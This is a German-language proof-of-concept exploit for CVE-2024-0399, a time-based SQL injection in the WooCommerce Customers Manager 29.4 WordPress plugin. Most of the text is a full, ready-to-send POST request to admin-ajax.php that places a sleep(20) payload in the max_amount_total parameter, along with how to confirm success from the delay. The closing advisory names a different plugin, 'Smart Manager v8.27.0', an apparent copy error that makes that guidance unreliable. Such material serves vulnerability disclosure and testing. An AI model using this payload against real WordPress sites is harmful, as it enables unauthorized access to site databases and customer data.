
Proof-of-Concept-Exploit für CVE-2024-0399, eine post-authentifizierte zeitbasierte SQL-Injection in WooCommerce Customers Manager 29.4, die über einen Admin-AJAX-Endpunkt auf Parameter für Transaktionsbeträge abzielt.
Exploit-Titel: WooCommerce Customers Manager 29.4 - SQL-Injection nach Authentifizierung
Datum: 2024-03-25
Autor des Exploits: Ivan Spiridonov - xbz0n
Software-Link: https://codecanyon.net/item/woocommerce-customers-manager/10965432
Version: 29.4
Getestet auf: Ubuntu 22.04
CVE: CVE-2024-0399
Das Plugin bereinigt und maskiert einen Parameter nicht ordnungsgemäß, bevor es ihn in einer SQL-Anweisung verwendet, was zu einer SQL-Injection führt, die von der Rolle 'Subscriber+' ausgenutzt werden kann.
Die Schwachstelle befindet sich in den Transaktionsbetragsparametern wie 'max_amount', 'max_amount_total', 'min_amount' und 'min_amount_total', die im Admin-AJAX-Endpunkt verwendet werden. Durch das Injizieren von SQL-Befehlen in diese Parameter können authentifizierte Angreifer SQL-Abfragen manipulieren, was zu einer zeitbasierten SQL-Injection-Schwachstelle führt.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
Wenn die Serverantwort um etwa 20 Sekunden verzögert wird, deutet dies auf eine erfolgreiche Ausnutzung der zeitbasierten SQL-Injection hin und bestätigt die Schwachstelle.
Benutzern des WooCommerce Customers Manager v29.4 wird dringend empfohlen, den Zugriff auf den betroffenen Endpunkt einzuschränken und das Plugin zu aktualisieren, sobald eine behobene Version veröffentlicht wird. Diese Mitteilung dient als Hinweis an alle Benutzer des Smart Manager v8.27.0, sofort Maßnahmen zu ergreifen und ihr Plugin zu aktualisieren, um sich vor dieser SQL-Injection-Schwachstelle zu schützen.